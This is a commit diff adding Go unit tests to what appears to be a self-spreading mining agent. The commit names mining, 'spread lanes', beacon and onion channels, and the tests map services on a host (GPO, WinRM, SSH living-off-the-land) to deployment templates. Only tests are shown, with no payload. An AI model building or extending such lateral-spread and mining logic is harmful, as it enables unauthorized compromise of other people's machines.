Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -86,6 +86,33 @@ func TestNormalizeJoinLaneAliases(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneGPO(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "gpsvc", Status: "running"}}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "gpsvc" || lane.Lane != "gpo" || lane.Template != "gpo" {
|
||||
t.Fatalf("matched=%q lane=%+v", matched, lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneWinRM(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "WinRM", Status: "running"}}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "WinRM" || lane.Lane != "winrm" || lane.Template != "winrm" {
|
||||
t.Fatalf("matched=%q lane=%+v", matched, lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneLinuxLOTL(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "sshd", Status: "active"}}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "sshd" || lane.Lane != "linux_lotl" || lane.Template != "linux-lotl" {
|
||||
t.Fatalf("matched=%q lane=%+v", matched, lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyDeployPlanSignature(t *testing.T) {
|
||||
plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
|
||||
sig, err := signDeployPlan(plan, "test-secret")
|
||||
|
||||
Reference in New Issue
Block a user